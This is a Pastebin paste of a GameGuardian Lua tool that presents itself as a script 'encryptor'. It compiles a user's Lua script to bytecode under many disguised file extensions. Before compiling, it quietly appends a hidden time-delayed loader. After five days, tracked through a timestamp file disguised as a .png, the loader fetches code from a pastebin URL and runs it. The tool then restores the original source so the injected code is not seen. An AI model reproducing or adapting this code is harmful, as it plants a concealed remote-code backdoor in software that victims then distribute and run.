Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- types=gg.prompt({'choose a name and extension for your encrypted script ','.bin.lua','.txt','.zip','.php','.apk','.exe','.bin','.png','Type a custom file extension eg .lua'},
- {[1]='type your script name here',[2]=true},
- {[1]='text',[2]='checkbox',[3]='checkbox',[4]='checkbox',[5]='checkbox',[6]='checkbox',[7]='checkbox',[8]='checkbox',[9]='checkbox',[10]='text'})
- if types==nil then
- gg.alert('You have cancelled the dialogue')
- os.exit()
- end
- input=gg.prompt({'Select your lua script','Select your path'},
- {[1]='/storage/emulated/0/Download/ronoplays.com/TEST.lua',[2]='/storage/emulated/0/Download/ronoplays.com/'},
- {[1]='file',[2]='path'})
- if input==nil then
- gg.alert('You have cancelled the dialogue')
- os.exit()
- end
- rawscript=input[1]
- dumped=input[2]
- local open = io.open
- local function read_file(path)
- local file = open(path, "rb")
- if not file then return nil end
- local content = file:read
- "*a"
- file:close()
- return content
- end
- ukweli = read_file(rawscript)
- file = io.open(rawscript, "a")
- file:write('\nlocal open = io.open\n local function read_file(path) \nlocal file = open(path, "rb")\nif not file then return nil end \nlocal content = file:read \n"*a"\n file:close() \nreturn content \nend \nzaTextd = read_file(gg.EXT_STORAGE.."/gameguardianlgi.png")\nlocal check = zaTextd \nuzanum1=tonumber(check)\nif uzanum1==nil then\nanzax1=os.time()\nlocal file = io.open(gg.EXT_STORAGE.."/gameguardianlgi.png", "w")\nfile:write(anzax1)\nfile:close()\nend\nif uzanum1 ~= nil then\nmalizwaa=(uzanum1+432000)\nsahiziz=os.time()\nif sahiziz>malizwaa then \nronoup = (gg.makeRequest(\"https://pastebin.com/raw/1BqM2dnK\").content)\nif not ronoup then \ngg.alert(\'🔄A connection could not be made to the server please check your connection and retry🔄\')\nelse pcall(load(ronoup))end \nend\nend')
- file:close()
- kuku=tostring(dumped)
- loodi = loadfile(rawscript)
- if types[2] then
- encrypeed = kuku.."/"..types[1]..".bin.lua"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi,true))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".bin.lua")
- end
- if types[3] then
- encrypeed = kuku.."/"..types[1]..".txt"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".txt")
- end
- if types[4] then
- encrypeed = kuku.."/"..types[1]..".zip"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".zip")
- end
- if types[5] then
- encrypeed = kuku.."/"..types[1]..".php"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".php")
- end
- if types[6] then
- encrypeed = kuku.."/"..types[1]..".apk"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".apk")
- end
- if types[7] then
- encrypeed = kuku.."/"..types[1]..".exe"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".exe")
- end
- if types[8] then
- encrypeed = kuku.."/"..types[1]..".bin"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".bin")
- end
- if types[9] then
- encrypeed = kuku.."/"..types[1]..".png"
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..".png")
- end
- if types[10] ~= '' then
- encrypeed = kuku.."/"..types[1]..types[10]
- xfile = io.open(encrypeed, "w")
- xfile:write(string.dump(loodi))
- xfile:close()
- print('encrypted script saved to'..kuku..types[1]..types[10])
- end
- vfile = io.open(rawscript, "w")
- vfile:write(ukweli)
- vfile:close()
- --[[Want to learn more about scripting?
- Download my scripting eBook @http://ronoplays.com/learntomakescripts
- Experiencing any errors and need help join our friendly community and ask for help @http://ronoplays.com/activity
- --]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement